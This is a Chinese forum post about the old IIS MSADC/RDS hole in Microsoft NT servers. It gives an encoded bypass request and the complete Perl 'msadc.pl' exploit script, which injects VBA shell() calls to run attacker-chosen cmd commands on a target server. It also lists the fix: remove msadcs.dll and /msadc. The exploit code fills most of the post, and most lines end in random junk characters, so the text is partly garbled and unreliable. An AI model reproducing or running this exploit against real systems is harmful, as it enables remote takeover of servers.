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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Xk}\-&C7  
4%5 +  
涉及程序: k;Ask#rs  
Microsoft NT server rT';7>{g  
{ZKXT8'  
描述: 8K2=WYN  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 Le*gdoW.  
&;[e  
详细: PGhYkj2  
如果你没有时间读详细内容的话,就删除: "=!sZO?3  
c:\Program Files\Common Files\System\Msadc\msadcs.dll b=XHE1^rM  
有关的安全问题就没有了。 f{)nxd >#  
W~Q;R:y  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 oa6&?4K?F  
RL b o  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 1"~$(@oxG  
关于利用ODBC远程漏洞的描述,请参看: A$-\Er+f  
e`zCz`R  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm l!j,9wz7  
+lZvj=gW  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 (W5JVk_o  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp :5_394v  
'M,O(utGv  
这里不再论述。 dWiX_&g  
<\oD4EE_  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: X9;51JV  
;nAI;Qw L  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset > *soc!#Y  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! [Nu py,v  
nJY3 1(p  
G(gZL%M6  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ;@H:+R+(  
LL+PAvMg  
#!perl UeU`U  
# f47dB_{5f.  
# MSADC/RDS 'usage' (aka exploit) script Ch73=V  
# g9gi7.'0  
# by rain.forest.puppy ,M=s3D8C  
# ^wz 2e  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 2k!4oVUN  
# beta test and find errors! *+_+Z DU  
C sCH :>  
use Socket; use Getopt::Std; mb*|$ysPx  
getopts("e:vd:h:XR", \%args); L u1pxL  
F~?|d 0  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Z31a4O  
Fil6;R  
if (!defined $args{h} && !defined $args{R}) { nhRpb9f`1@  
print qq~ U&0 RQ:B  
Usage: msadc.pl -h <host> { -d <delay> -X -v } *vOk21z77d  
-h <host> = host you want to scan (ip or domain) Fhga^.5U&  
-d <seconds> = delay between calls, default 1 second ei(S&u<  
-X = dump Index Server path table, if available iJS7g  
-v = verbose ^xQPj6P}  
-e = external dictionary file for step 5 y#i` i  
SLda>I(p7&  
Or a -R will resume a command session F$jfPy-f  
Xo3@-D_c!c  
~; exit;} &/(JIWc1su  
e*M-y C  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ,O_iSohS  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} aUq 2$lw1  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Dq+S'x~>  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 5em*9Ko  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} j7~Rw"(XQc  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } e?+&2zMq  
~W-5-Nl{s  
if (!defined $args{R}){ $ret = &has_msadc; 5 Q/yPQN  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} rUZ09>nDy  
+h8`8k'}-2  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" UmG|_7  
. "cmd /c "; BbhC 0q"J  
$in=<STDIN>; chomp $in; .yB{+  
$command="cmd /c " . $in ; R p0^Gwa  
C(kL=WD   
if (defined $args{R}) {&load; exit;} EkoT U#w5  
GOD{?#c$  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; v {) 8QF]  
&try_btcustmr; {xf00/  
Q^):tO]!Ma  
print "\nStep 2: Trying to make our own DSN..."; *gOUpbtXa  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; WWT1_&0  
(Ta(Y=!uq  
print "\nStep 3: Trying known DSNs..."; Wpc8T="q  
&known_dsn; %:Z_~7ZR  
X'j9l4Ph7  
print "\nStep 4: Trying known .mdbs..."; i5SDy(?r  
&known_mdb; ijgm-1ECk3  
5]zH!>-F  
if (defined $args{e}){ J~AmRo0!k  
print "\nStep 5: Trying dictionary of DSN names..."; p# |} o9  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Sl'{rol'  
(U@$gkUx}G  
print "Sorry Charley...maybe next time?\n"; 4+MaV<!tU^  
exit; M2I*_pI  
3 Scc"9]  
############################################################################## TQth"Cv2:  
cp6I]#X  
sub sendraw { # ripped and modded from whisker T\"-q4+=C  
sleep($delay); # it's a DoS on the server! At least on mine... (wf3HEb_  
my ($pstr)=@_; j<)`|?@e(  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || *W2o$_Hs  
die("Socket problems\n"); c$x >6&&L  
if(connect(S,pack "SnA4x8",2,80,$target)){ `eeA,K_  
select(S); $|=1; 8`_tnARIX  
print $pstr; my @in=<S>; 9I(00t_  
select(STDOUT); close(S); Y]DC; ,  
return @in; mJYD"WgY  
} else { die("Can't connect...\n"); }} A_crK`3  
V3ExS1fNf  
############################################################################## <==6fc>s  
gux?P2f  
sub make_header { # make the HTTP request Zgo%Jo  
my $msadc=<<EOT D 4sp+   
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 QOY{j  
User-Agent: ACTIVEDATA *MQ`&;Qa,  
Host: $ip `1uGU[{x  
Content-Length: $clen k"6&&  
Connection: Keep-Alive Pbt7T Q  
IyAD>Q^  
ADCClientVersion:01.06 @M"( r"ab  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 :*s@L2D6  
D 9UM8Hxi  
--!ADM!ROX!YOUR!WORLD! U$ ;UW3-  
Content-Type: application/x-varg -b|"%e<'  
Content-Length: $reqlen )iFXa<5h  
O=6[/oc '  
EOT "28zLo3  
; $msadc=~s/\n/\r\n/g; FIUQQQ\3  
return $msadc;} 3,n"d-  
u:^sEk"Lk'  
############################################################################## <GF^VT|Ce  
T3I{D@+0  
sub make_req { # make the RDS request BN~ndWRK  
my ($switch, $p1, $p2)=@_; *%*B o9a/  
my $req=""; my $t1, $t2, $query, $dsn; Hbn78,~ .  
kK/XYC 0D  
if ($switch==1){ # this is the btcustmr.mdb query qae|?z  
$query="Select * from Customers where City=" . make_shell(); MBAj.J  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . #qW#>0U  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} hVAatn[  
,T$ GOjt  
elsif ($switch==2){ # this is general make table query 3R-5&!i  
$query="create table AZZ (B int, C varchar(10))"; g>l+oH[Tv|  
$dsn="$p1";} P#D|CP/Cu  
v7\rW{~Jd&  
elsif ($switch==3){ # this is general exploit table query G#M0 C>n  
$query="select * from AZZ where C=" . make_shell(); }F"98s W  
$dsn="$p1";} 8H|ac[hXK2  
`YqXF=-  
elsif ($switch==4){ # attempt to hork file info from index server `jVRabZ0  
$query="select path from scope()"; .R l7,1\  
$dsn="Provider=MSIDXS;";} Pm,.[5uc  
,RW`9+gx  
elsif ($switch==5){ # bad query cL][sI  
$query="select"; %0 i)l|  
$dsn="$p1";} /4@ [^}x  
z:Z-2WV2o  
$t1= make_unicode($query); D c;k)z=  
$t2= make_unicode($dsn); .(3ec/i4CF  
$req = "\x02\x00\x03\x00"; jAU&h@  
$req.= "\x08\x00" . pack ("S1", length($t1)); hRMya#%-  
$req.= "\x00\x00" . $t1 ; uP(t+}dQ+3  
$req.= "\x08\x00" . pack ("S1", length($t2)); IUNr<w<  
$req.= "\x00\x00" . $t2 ; CD%Cb53  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; XMdCQ=  
return $req;} [A~ Hl  
dMCoN8W  
############################################################################## bwj{5-FU  
(.X)=  
sub make_shell { # this makes the shell() statement t=9f:,I$  
return "'|shell(\"$command\")|'";} jsx&h Y%(  
{&UA6 0~6  
############################################################################## 57=d;Yg e  
K:GEC-  
sub make_unicode { # quick little function to convert to unicode WIuYSt)h  
my ($in)=@_; my $out;  g[bu9i  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } :Z x|=  
return $out;} `oH4"9&]k3  
SN]g4}K-  
############################################################################## s;Gg  
)(_NFpM  
sub rdo_success { # checks for RDO return success (this is kludge) -e_o p'`  
my (@in) = @_; my $base=content_start(@in); (m6V)y  
if($in[$base]=~/multipart\/mixed/){ [cco/=c  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} lcy<taNu)  
return 0;} DR,7rT{$  
'#h ORQB  
############################################################################## 5-y*]:g(  
r/HTkXs I  
sub make_dsn { # this makes a DSN for us O6vxp?:^  
my @drives=("c","d","e","f"); /|<S D.:  
print "\nMaking DSN: "; jM @N<k  
foreach $drive (@drives) { 0{ ~2mggh  
print "$drive: "; L`X5\D'X  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . VBw 5[  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" S[zGA<}  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); XH@(V4J(.  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; L#uU. U=  
return 0 if $2 eq "404"; # not found/doesn't exist 9 M%Gnz  
if($2 eq "200") { G]N3OIw&8  
foreach $line (@results) { RV);^, b  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} H%gAgXHn  
} return 0;} K&Bbjb_|  
Em^~OM3U$q  
############################################################################## M=lU`Sm  
5bAdF'~  
sub verify_exists { &$ "J\v m  
my ($page)=@_; ^X}r ^  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 1dw{:X=j  
return $results[0];} MfHOn YV  
6@t&  
############################################################################## .xWaS8f  
o-7{\%+M  
sub try_btcustmr { yNow hh  
my @drives=("c","d","e","f"); Z"%.  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ?|+e*{4k  
2[HPU M2>  
foreach $dir (@dirs) { GK!@|Kk8q7  
print "$dir -> "; # fun status so you can see progress T^(W _S  
foreach $drive (@drives) { oBo*<6  
print "$drive: "; # ditto 8V 4e\q  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; xPPA8~Dm*  
$reqlenlen=length( "$reqlen" ); Y0T:%  
$clen= 206 + $reqlenlen + $reqlen; af %w|M  
cv-rEHT  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Nw$OJ9$L>  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} IGQBTdPUa  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} M\a{2f7'n  
)E*f30  
############################################################################## Q;w [o  
}7(+#ISK6  
sub odbc_error { PfRA\  
my (@in)=@_; my $base; *1{A'`.=\  
my $base = content_start(@in); l`ZL^uT  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this .P aDR |!  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; mL2J  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; :PW"7|c!  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; @#OL{yMy  
return $in[$base+4].$in[$base+5].$in[$base+6];} 8=TC 3]  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; \fiy[W/k  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 7Q9Hk(Z9  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} OKlR`Vaty  
D 5n\h5  
############################################################################## wT\BA'VQ  
A,~KrRd  
sub verbose { 7@%qm|i>w  
my ($in)=@_; boGdZ2$h4  
return if !$verbose; |1(x2x%}D^  
print STDOUT "\n$in\n";} 6XF Ufi+  
UMe?nAC  
############################################################################## Sx'oa$J  
Eu'E;*- f  
sub save { S.~L[iLc  
my ($p1, $p2, $p3, $p4)=@_; L"vrX  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; _ia&|#n  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; O- QT+]  
close OUT;} ,v K%e>e&  
{VW\EOPV~  
############################################################################## Pz{MYw  
4KtD  k  
sub load { KR?aL:RYb  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; q,L>PN+W  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 5\C(2naf  
@p=<IN>; close(IN); B qX"La,  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); I3Z?xsa@Z  
$target= inet_aton($ip) || die("inet_aton problems"); 5z,q~CU  
print "Resuming to $ip ..."; %W\NYSm  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; hmo4H3g!N  
if($p[1]==1) { L%/>Le}VX  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; cB){b'WJ  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; tjwf;g}$  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); py:L-5  
if (rdo_success(@results)){print "Success!\n";} SyVXXk 0  
else { print "failed\n"; verbose(odbc_error(@results));}} #%@bZ f  
elsif ($p[1]==3){ ?.Vuet  
if(run_query("$p[3]")){ CLzF84@W=  
print "Success!\n";} else { print "failed\n"; }} hS8M|_  
elsif ($p[1]==4){ \tYImh  
if(run_query($drvst . "$p[3]")){ jq%<Z,rh  
print "Success!\n"; } else { print "failed\n"; }} H\oxj,+N  
exit;} ]jxyaE&%4  
~*/ >8R(Y  
############################################################################## @i!+Z  
<Y7j'n  
sub create_table { UX63BA  
my ($in)=@_; @3KSoA"^  
$reqlen=length( make_req(2,$in,"") ) - 28; )VkVZf | S  
$reqlenlen=length( "$reqlen" ); klnNBo!  
$clen= 206 + $reqlenlen + $reqlen;  94PI  
my @results=sendraw(make_header() . make_req(2,$in,"")); dxAGO(  
return 1 if rdo_success(@results); v)_c*+6u  
my $temp= odbc_error(@results); verbose($temp); .O1w-,=  
return 1 if $temp=~/Table 'AZZ' already exists/; :JG5)H}j+  
return 0;} /C Xg$%\  
-LRx}Mb9  
############################################################################## F$tzsz,9n  
Nuot[1kS  
sub known_dsn { H!]&"V77  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go -%MXt  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", S8dfe~|7:  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", /B?wn=][  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); kE'p=dXx  
8QJr!#u  
foreach $dSn (@dsns) { ]sb?lAxh{  
print "."; 36(qe"s  
next if (!is_access("DSN=$dSn")); en'[_43  
if(create_table("DSN=$dSn")){ &?bsBqpN  
print "$dSn successful\n"; ~/K&=xE  
if(run_query("DSN=$dSn")){ #rX ^)2  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ai$l7]7  
print "Something's borked. Use verbose next time\n";}}} print "\n";} *W\3cS  
qfl!>  
############################################################################## KJoa^e;~  
X5/j8=G H`  
sub is_access { 'uL$j=vB  
my ($in)=@_; 0vfMJzk  
$reqlen=length( make_req(5,$in,"") ) - 28; j[gqS%  
$reqlenlen=length( "$reqlen" ); 9`/e= RL  
$clen= 206 + $reqlenlen + $reqlen; }EwE#sZ#  
my @results=sendraw(make_header() . make_req(5,$in,"")); l hYJectJa  
my $temp= odbc_error(@results); Al*=%nY  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); '+/mt_re=  
return 0;} '6qH@r4Z<  
fDns r" T  
############################################################################## \A\  
 ,c`6-  
sub run_query { {z_cczJ-  
my ($in)=@_; yJC: bD1xi  
$reqlen=length( make_req(3,$in,"") ) - 28; /c=8$y\%@  
$reqlenlen=length( "$reqlen" ); s3JzYDpy  
$clen= 206 + $reqlenlen + $reqlen; c Q-#]  
my @results=sendraw(make_header() . make_req(3,$in,"")); A'jL+dI.  
return 1 if rdo_success(@results); Q" h]p  
my $temp= odbc_error(@results); verbose($temp); mv:@D  
return 0;} u-iQ  
+ >dC  
############################################################################## jm<^WQ%Cc  
0qFO+nC  
sub known_mdb { ) 6QJZ$  
my @drives=("c","d","e","f","g"); jW8ad{  
my @dirs=("winnt","winnt35","winnt351","win","windows"); R P~67L  
my $dir, $drive, $mdb; N*Q*>q  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; B"> Ko3  
npkT>dB+  
# this is sparse, because I don't know of many <Nrtkf4-O  
my @sysmdbs=( "\\catroot\\icatalog.mdb", cD`?" n  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", $m5Iv_  
"\\system32\\certmdb.mdb", N<<wg{QO  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% dLH@,EKl)  
GPh;r7xg6  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 6)YckxN^  
"\\cfusion\\cfapps\\forums\\forums_.mdb", !1R?3rVQS  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", /7S g/d%c  
"\\cfusion\\cfapps\\security\\realm_.mdb", 0N!rIz  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", N~v<8vJq`  
"\\cfusion\\database\\cfexamples.mdb", U`~L}w"  
"\\cfusion\\database\\cfsnippets.mdb", Pl'lmUR  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", E.m2- P;4  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", >wqWIw.w>  
"\\cfusion\\brighttiger\\database\\cleam.mdb", >V)#y$Z  
"\\cfusion\\database\\smpolicy.mdb", apJXRH`  
"\\cfusion\\database\cypress.mdb", "})OLa  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", V_$<^z|  
"\\website\\cgi-win\\dbsample.mdb", '>|K d{J0  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 09vVCM;DY  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" a+v.(mCG  
); #these are just >?JUGXAi'{  
foreach $drive (@drives) { KS5a8'U  
foreach $dir (@dirs){ ehr\lcS<  
foreach $mdb (@sysmdbs) { 8hww({S2  
print "."; 30I-E ._F  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ qm_r~j  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; zp9lu B  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ :yJ#yad  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 3<)][<Ud  
} else { print "Something's borked. Use verbose next time\n"; }}}}} (bI/s'?K  
w$&;s<0  
foreach $drive (@drives) { MX#LtCG#V  
foreach $mdb (@mdbs) { b (H J|  
print "."; ;8MQ'#  
if(create_table($drv . $drive . $dir . $mdb)){ )Dhx6xM[a  
print "\n" . $drive . $dir . $mdb . " successful\n"; ~FAk4z=Ed  
if(run_query($drv . $drive . $dir . $mdb)){ g51UIN]o-  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; (g[WZB3x  
} else { print "Something's borked. Use verbose next time\n"; }}}} %8 DI)n#H  
} jpYZ) So-  
KIY`3Fl09  
############################################################################## N?rE:0SJ  
Y#9bM $x7  
sub hork_idx { 5>S1lyam  
print "\nAttempting to dump Index Server tables...\n"; ^ux'-/  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; L"1AC&~ u  
$reqlen=length( make_req(4,"","") ) - 28; =`(W^&|  
$reqlenlen=length( "$reqlen" ); "u sPzp5  
$clen= 206 + $reqlenlen + $reqlen; >f&L7@  
my @results=sendraw2(make_header() . make_req(4,"","")); ;=P!fvHk  
if (rdo_success(@results)){ D{d%*hlI 3  
my $max=@results; my $c; my %d; t&JOASYC  
for($c=19; $c<$max; $c++){ &%(Dd  
$results[$c]=~s/\x00//g; `N}V i6FG  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; QaE!?R  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; (8ct'Q;  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; )J yB  
$d{"$1$2"}="";} LrdED[Z  
foreach $c (keys %d){ print "$c\n"; } @6!Myez'  
} else {print "Index server doesn't seem to be installed.\n"; }} ryz NM3  
iSOyp\E|  
############################################################################## Dh}d-m_5  
 Uv<nJM  
sub dsn_dict { _@)-#7  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ^u90N>Dvq  
while(<IN>){ k]-Q3 V  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ;c|_z 9+  
next if (!is_access("DSN=$dSn")); ^XYK }J  
if(create_table("DSN=$dSn")){ +>yh` Zb  
print "$dSn successful\n"; yoieWnL}  
if(run_query("DSN=$dSn")){ <7Yh<(R e^  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { keQRS+9  
print "Something's borked. Use verbose next time\n";}}} t<}N>%ZO  
print "\n"; close(IN);} k=p[Mlic/  
t5 ^hZZ  
############################################################################## !YO'u'4<aK  
Mg}/gO% o  
sub sendraw2 { # ripped and modded from whisker gE*7[*2?t  
sleep($delay); # it's a DoS on the server! At least on mine... zFYzus`>  
my ($pstr)=@_; 'O2/PU2_  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || f#I#24)RH  
die("Socket problems\n"); T#Bj5H  
if(connect(S,pack "SnA4x8",2,80,$target)){ ON>l%Ae4G  
print "Connected. Getting data"; .n.N.e  
open(OUT,">raw.out"); my @in; |eye) E:  
select(S); $|=1; print $pstr; f*xv#G  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} :YX5%6  
close(OUT); select(STDOUT); close(S); return @in;  N?,  
} else { die("Can't connect...\n"); }} fpO2bD%$8  
l  LBzY`j  
############################################################################## c1R[Hck  
H<nA*Zf2@R  
sub content_start { # this will take in the server headers XN\rq=  
my (@in)=@_; my $c; #Rs5W  
for ($c=1;$c<500;$c++) { .*+jD^Gr  
if($in[$c] =~/^\x0d\x0a/){ T~ XKV`LQ  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 3)e{{]6  
else { return $c+1; }}} y= 8SD7P'  
return -1;} # it should never get here actually `d/* sX?k  
(6 }7z+  
############################################################################## :1"k`AG  
e:N;Jx#  
sub funky { |RXXj[z  
my (@in)=@_; my $error=odbc_error(@in); o1{3[=G  
if($error=~/ADO could not find the specified provider/){ ;/ |tU o$  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; psiuoYf  
exit;} heWQPM|s  
if($error=~/A Handler is required/){ Ix(,gDN  
print "\nServer has custom handler filters (they most likely are patched)\n"; Ne3YhCC>  
exit;} K2v[_a~@  
if($error=~/specified Handler has denied Access/){ ?-0, x|ul  
print "\nServer has custom handler filters (they most likely are patched)\n"; E 8$S0u;`  
exit;}} y5^OD63s  
&b%2Jx[+  
############################################################################## #tw_`yh  
pP"j|  
sub has_msadc { 8aM\B%NGWi  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); p*1 B *R  
my $base=content_start(@results); R S>qP;V*-  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 4OAR ["f  
return 0;} u2fp~.'P  
_2<UcC~  
######################## 4Xwb`?}-  
U ){4W0  
3=Uyt  
解决方案: ?h| DeD!s  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll [yc7F0Aw  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 g"c7$  
)>"Ky  
拿出来充数 哈哈
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